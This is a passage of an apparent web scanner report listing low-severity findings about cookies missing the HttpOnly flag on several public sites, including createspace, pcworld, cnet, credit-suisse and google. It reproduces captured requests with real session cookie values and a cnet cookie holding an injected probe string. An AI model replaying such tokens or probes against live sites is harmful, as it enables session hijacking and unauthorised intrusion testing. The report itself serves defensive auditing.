Set-Cookie: JSESSIONID=8407C732DCB6F3DE98C080309FB8C5F3.clearspaceworker00; Path=/en/community; Secure
X-JAL: 0
X-JAL: 0
Vary: Accept-Encoding
Content-Length: 99
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/css;charset=UTF-8

@CHARSET "ISO-8859-1";

ul.jive-sidebar-topmembers li a.jive-username-link {
padding-left: 0;
}

7.3. https://www.createspace.com/en/community/4.0.15/styles/csp/csp.css previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.createspace.com
Path:	/en/community/4.0.15/styles/csp/csp.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=68D8B677EFD13AB5B03753F504B184C3.clearspaceworker00; Path=/en/community; Secure

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/community/4.0.15/styles/csp/csp.css?version=20110912181112 HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/css,*/*;q=0.1
Referer: https://www.createspace.com/en/community/community/member_showcase
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=03E0FCBB4F2FC88D87B1E8617DDEA80E.clearspaceworker00; jive.server.info="serverName=www.createspace.com:serverPort=443:contextPath=/en/community:localName=admin.createspace.com:localPort=443:localAddr=null"; jive.recentHistory.-1=31342c323031383b; JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:46 GMT
Server: Apache
Cache-Control: max-age=31536000, public
Expires: Tue, 18 Sep 2012 15:01:46 GMT
Set-Cookie: JSESSIONID=68D8B677EFD13AB5B03753F504B184C3.clearspaceworker00; Path=/en/community; Secure
X-JAL: 0
Vary: Accept-Encoding
Content-Length: 8965
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/css;charset=UTF-8

@CHARSET "ISO-8859-1";

#jive-body-intro.jive-body-intro-home {
margin-top: 0px;
position: relative;
}
.jive-body-intro-home #jive-body-intro-content {
position: relative;
padding-b
...[SNIP]...

7.4. https://www.createspace.com/en/community/render-widget!execute.jspa previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.createspace.com
Path:	/en/community/render-widget!execute.jspa

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=304464F0BE9B64A1C182D19E2BE888CB.clearspaceworker00; Path=/en/community; Secure

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /en/community/render-widget!execute.jspa HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
Content-Length: 65
Origin: https://www.createspace.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html, */*
Referer: https://www.createspace.com/en/community/community/member_showcase
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=03E0FCBB4F2FC88D87B1E8617DDEA80E.clearspaceworker00; jive.server.info="serverName=www.createspace.com:serverPort=443:contextPath=/en/community:localName=admin.createspace.com:localPort=443:localAddr=null"; jive.recentHistory.-1=31342c323031383b; JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

frameID=10527&size=2&widgetType=3&container=2018&containerType=14

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:51 GMT
Server: Apache
Set-Cookie: JSESSIONID=304464F0BE9B64A1C182D19E2BE888CB.clearspaceworker00; Path=/en/community; Secure
X-JAL: 119
Content-Language: en-US
Vary: Accept-Encoding
Content-Length: 1860
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=ISO-8859-1

<div class="content-large">

<div class="jive-widget-rssfeed">
<div class="jive-widget-rssfeed-entry">
<di
...[SNIP]...

7.5. http://www.demosondemand.com/shared_components/javascript/launchDemoStage3PlayerClient_js.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.demosondemand.com
Path:	/shared_components/javascript/launchDemoStage3PlayerClient_js.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQAQDSRTD=GDFBKLDAKEBJHLELNMCKNIIC; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /shared_components/javascript/launchDemoStage3PlayerClient_js.asp HTTP/1.1
Host: www.demosondemand.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.centrify.com/aboutcentrify/executivemanagement.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 20 Sep 2011 14:06:32 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 1655
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQAQDSRTD=GDFBKLDAKEBJHLELNMCKNIIC; path=/
Cache-control: private

function launchDemoStage3Player(session_id, promotion_id,startTime,reseller_id )
{
var initialW = 250;
var initialH = 200;
var x = (screen.width/2)-initialW/2;
var y
...[SNIP]...

7.6. http://www.games.net/community/door_check.cfm previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.games.net
Path:	/community/door_check.cfm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CFID=264521224;domain=.games.net;expires=Wed, 11-Sep-2041 19:30:20 GMT;path=/
CFTOKEN=35491050;domain=.games.net;expires=Wed, 11-Sep-2041 19:30:20 GMT;path=/
IDGE_LOGIN=false;path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.7. http://www.pcworld.com/articleComment/get.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.pcworld.com
Path:	/articleComment/get.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=A7801B215A0E54C2AFAC4E3F7FA001FE; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /articleComment/get.do?threadId=107017&style=default&ord=8196112 HTTP/1.1
Host: www.pcworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html
Cookie: fsr.a=1316477807778; pcw.last_uri=/article/216731/simple_cheap_apps_for_keeping_secrets_online.html; __utma=253699094.584679828.1316477805.1316477805.1316477805.1; __utmb=253699094.1.10.1316477805; __utmc=253699094; __utmz=253699094.1316477805.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:15:49 GMT
Server: Apache
X-GasHost: gas3
Cache-Control: no-cache
Pragma: no-cache
X-Cooking-With: Gasoline-Proxy
X-GasOriginRetry: 0
X-GasOriginTime: 0
Content-Type: text/xml;charset=UTF-8
Set-Cookie: JSESSIONID=A7801B215A0E54C2AFAC4E3F7FA001FE; Path=/
Vary: Accept-Encoding
Content-Length: 2014

<taconite>
   <hide select="#postingMessage" />
   <replaceContent select="#commentContainer">

   <ul id="commentList">

       <li class="item">
           <cite><a href="http://forums.pcworld.com/index.p
...[SNIP]...

7.8. http://www.pcworld.com/articleVote/get.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.pcworld.com
Path:	/articleVote/get.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=8ADA7D4DC49E430EB2E89A68FF973C50; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /articleVote/get.do?aid=216731&style=default HTTP/1.1
Host: www.pcworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.pcworld.com/article/216731/simple_cheap_apps_for_keeping_secrets_online.html
Cookie: fsr.a=1316477807778; pcw.last_uri=/article/216731/simple_cheap_apps_for_keeping_secrets_online.html; __utma=253699094.584679828.1316477805.1316477805.1316477805.1; __utmb=253699094.1.10.1316477805; __utmc=253699094; __utmz=253699094.1316477805.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:15:48 GMT
Server: Apache
X-GasHost: gas2
X-Cooking-With: Gasoline-Proxy
X-GasOriginRetry: 0
X-GasOriginTime: 0
Content-Type: text/xml;charset=UTF-8
Set-Cookie: JSESSIONID=8ADA7D4DC49E430EB2E89A68FF973C50; Path=/
Vary: Accept-Encoding
Content-Length: 210

<taconite>

   <replaceContent select="#voteTallyYes">8</replaceContent>
   <replaceContent select="#voteTallyNo">2</replaceContent>
   <replaceContent select="#voteYesBottom">8</replaceContent>
</t
...[SNIP]...

7.9. http://www.simplyhired.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

sess=ct%3D4e77a776%3Bv%3D2; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:02 GMT; path=/; domain=.simplyhired.com
shmk=deleted; expires=Sun, 19-Sep-2010 20:35:02 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.10. http://www.simplyhired.com/a/accounts/login previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/accounts/login

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

sess=ct%3D4e77a776%3Bv%3D4; path=/; domain=.simplyhired.com
shua=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/; domain=.simplyhired.com
shmk=deleted; expires=Sun, 19-Sep-2010 20:35:35 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.11. http://www.simplyhired.com/a/jobs/list/q-xss previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/jobs/list/q-xss

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

sess=ct%3D4e77a776%3Bv%3D3; path=/; domain=.simplyhired.com
rs=v2:q%3Dxss; expires=Wed, 19 Sep 2012 13:35:07 -0700; path=/
shua=uafbp%3D8%2Cuaversion%3D%2Cuajobssearched%3D1316464507%2Cuanps%3D9%3A2%3A0%3A0; expires=Wed, 18-Sep-2013 20:35:07 GMT; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/; domain=.simplyhired.com
shmk=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/
shup=fvt%3D4e77a776%26ncs%3D2%26lst%3D4e77a77b; expires=Wed, 19-Oct-2011 20:35:07 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.12. http://www.simplyhired.com/a/our-company/about-us previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/our-company/about-us

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

sess=ct%3D4e77a776%3Bv%3D5; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:43 GMT; path=/; domain=.simplyhired.com
shmk=deleted; expires=Sun, 19-Sep-2010 20:35:43 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.13. http://www.simplyhired.com/a/our-company/contact-us previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.simplyhired.com
Path:	/a/our-company/contact-us

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

sess=ct%3D4e77a776%3Bv%3D6; path=/; domain=.simplyhired.com
shut=deleted; expires=Sun, 19-Sep-2010 20:35:50 GMT; path=/; domain=.simplyhired.com
shmk=deleted; expires=Sun, 19-Sep-2010 20:35:50 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.14. http://www.cnet.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

arrowSSRefUrl=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3D%2500c82b8%22%2520a%253db%25205eff54a8341; domain=.cnet.com; path=/; expires=Mon, 19-Sep-2011 19:58:09 GMT
arrowLrps=1312564961707:1312559263357; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:09 GMT
arrowLat=1316460489741; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:09 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.15. http://www.cnet.com/internet-security/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/internet-security/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

arrowSSRefUrl=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3Daf0120deeded27b102ec0d26; domain=.cnet.com; path=/; expires=Mon, 19-Sep-2011 19:58:53 GMT
arrowLrps=1312564961707:1312559263357; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:53 GMT
arrowLat=1316460533108; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:53 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.16. https://www.createspace.com/en/community/community/member_showcase previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.createspace.com
Path:	/en/community/community/member_showcase

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

jive.recentHistory.-1=31342c323031383b; Expires=Wed, 19-Oct-2011 15:01:43 GMT; Path=/en/community

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.17. https://www.credit-suisse.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SCDID_S=uRMuBACQ04E1sg_t2GnczrRzAoLIYK1Fx2Md8p5puGNxONKDKSkb4A$$; path=/; Secure

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SCDID_S=fXfvFcP0ZZ-hf3ZOHA9wn5O6-2HFS4cBaL4eMyVGocYv_tARskOgNg$$

Response

HTTP/1.1 302 Found
Date: Mon, 19 Sep 2011 14:27:35 GMT
Server: Credit Suisse Entry Server
Location: /cookie-check?trg=XGKE6-uSNgRert5Mc9HhDAwExWqy8s7tojktOZC6Zhm6KLc-zrm-MqD_pMxtTQjF
Set-Cookie: SCDID_S=uRMuBACQ04E1sg_t2GnczrRzAoLIYK1Fx2Md8p5puGNxONKDKSkb4A$$; path=/; Secure
Content-Length: 266
Content-Type: text/html; charset=iso-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/cookie-check?trg=XGKE6-uSNgRert5Mc9HhDAwExWqy8
...[SNIP]...

7.18. https://www.credit-suisse.com/us/en previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/en

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SCDID_S=tKLHhHhMGT91vQK4sT-hTktqZCvDaCnWim0S7-4Yrd6_vpZkV7uTaw$$; path=/; Secure

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /us/en HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/us/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$

Response

HTTP/1.1 302 Found
Date: Mon, 19 Sep 2011 14:27:44 GMT
Server: Credit Suisse Entry Server
Location: /cookie-check?trg=u9jYPVBzVJKFrlafQnfxgBKgYcjPwta-7VfdXH7bxGIaqIyktj5GtVZB9Z2FcFP7
Set-Cookie: SCDID_S=tKLHhHhMGT91vQK4sT-hTktqZCvDaCnWim0S7-4Yrd6_vpZkV7uTaw$$; path=/; Secure
Content-Length: 266
Content-Type: text/html; charset=iso-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/cookie-check?trg=u9jYPVBzVJKFrlafQnfxgBKgYcjPw
...[SNIP]...

7.19. https://www.credit-suisse.com/us/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/en/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SCDID_S=nZ1zqc6YCOo--FNYVAp0JBQC7oSEVUUDYqC4sVWvrytcKx1_XrF12Q$$; path=/; Secure

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /us/en/ HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/us/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$

Response

HTTP/1.1 302 Found
Date: Mon, 19 Sep 2011 14:27:45 GMT
Server: Credit Suisse Entry Server
Location: /cookie-check?trg=z3FIzGMlBMSqjeeg4QnQAt1lE8k9mLBVFFvT6EDz7eKsyAz4jACkLnTpuGp2pAfXl5Xn1uNow8Q$
Set-Cookie: SCDID_S=nZ1zqc6YCOo--FNYVAp0JBQC7oSEVUUDYqC4sVWvrytcKx1_XrF12Q$$; path=/; Secure
Content-Length: 278
Content-Type: text/html; charset=iso-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/cookie-check?trg=z3FIzGMlBMSqjeeg4QnQAt1lE8k9m
...[SNIP]...

7.20. http://www.facebook.com/creditsuisse previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/creditsuisse

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fcreditsuisse; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /creditsuisse HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.21. http://www.google.com/ig/add previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/ig/add

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjSv7kOq4AvAeL-hZ8Ft440Pm3Si_yhhHZlzaL7s1AytkqPOO8W_hLDG0olyxj-EUY4Y8WS0yv7cOjUWn1eK1BsYBxxAinJ0yuTmLWiLPzissykDjFN4IP-rIXUs6b3UHIjCDrTc25JQLKM6kTCxOUtYkXBSzQnrNori1RFPiIJAJIUaZy6JLvRDDogcUQpLfrGnEktvDeH-2vOo7RMntD5839Qkp6_UTE9c7gM34H48--oJvmn57OXD9js0njThbj-_W9CGn1e1NFJy_SDkmBCnvpzrfJQLKzxznn0gHb430; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.22. http://www.google.com/ig/adde previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/ig/adde

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRj1buM1zXYdA__ObwXN6Zox83Kf4GNWqH6qas0qPeAB00qJcw0meCkjsjCGz1Y9q3pSa8wU8JCZVNu2hQ_P3JBAZIKe_vL1kI8ivKI0EBZrJwd7SdpT5SyEnyifwn5V7Z5-eQ7LWY9dOViPKaZS5F2FAcrTpgpf4IG7TaFvqlWrJfje2n2ghItZiMTQVAt_WEQbjpNBbQBYpeibdna7wvB9PFd5o-APnF7bvaxVCvq84_XuLsMgTkjCTrfbP8kMh_y_BEkuAcvmORNAKwcQajouJ2tnIrItCear0eiYl5jZqE; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.23. http://www.google.com/ig/cp/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/ig/cp/get

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjXmbDFGcL4HJUDds6f7HzvoSgMavYuUWG-T6a01HrMDufpOOAC2XKJ4co-zfeJWjhkKQoqfRP3Lq3pkH1wY0rPuYo13u5IKc3kSeMBRO4fGxPJfYW1lCJmevZSxDgQSTnLJCnIVHSO66bYffVxK2AyPuNjNB3K0xvlMfYLiF-wJLnLEccJABP3vNVjTjMrLr2Mb-75RmqKRD945UdwuPi5jz8fJJo-acp1HUoKq0nfIzARku0B93uVL1In89bmvIdm6mh5zVuAIM3BSdOj0Na9fXfHmavHCKBIq_ptMPZiGM; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.24. http://www.idgconnect.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.idgconnect.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

logged_in=false; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.idgconnect.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Response

7.25. http://www.itworld.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.26. http://www.itworld.com/elqNow/elqBlank.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/elqNow/elqBlank.htm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /elqNow/elqBlank.htm HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dhomepage%7C1316479684409%3B

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 20 Jul 2011 21:04:03 GMT
ETag: "8016-76-4a8869273f6c0"
Cache-Control: max-age=1209600
Content-Type: text/html; charset=UTF-8
Content-Length: 118
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:24:26 GMT
X-Varnish: 1038158410
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head></head><body></body></html>

7.27. http://www.itworld.com/elqNow/elqCfg.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/elqNow/elqCfg.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /elqNow/elqCfg.js HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 20 Jul 2011 21:04:03 GMT
ETag: "8018-bfe-4a8869273f6c0"
Content-Type: application/x-javascript
Content-Length: 3070
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:41 GMT
X-Varnish: 1959715969 1959715837
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

//------------------------------------------------------
// Copyright Eloqua Corporation.
//
var elqSiteID = '1856';
var elqVer = 'v200';
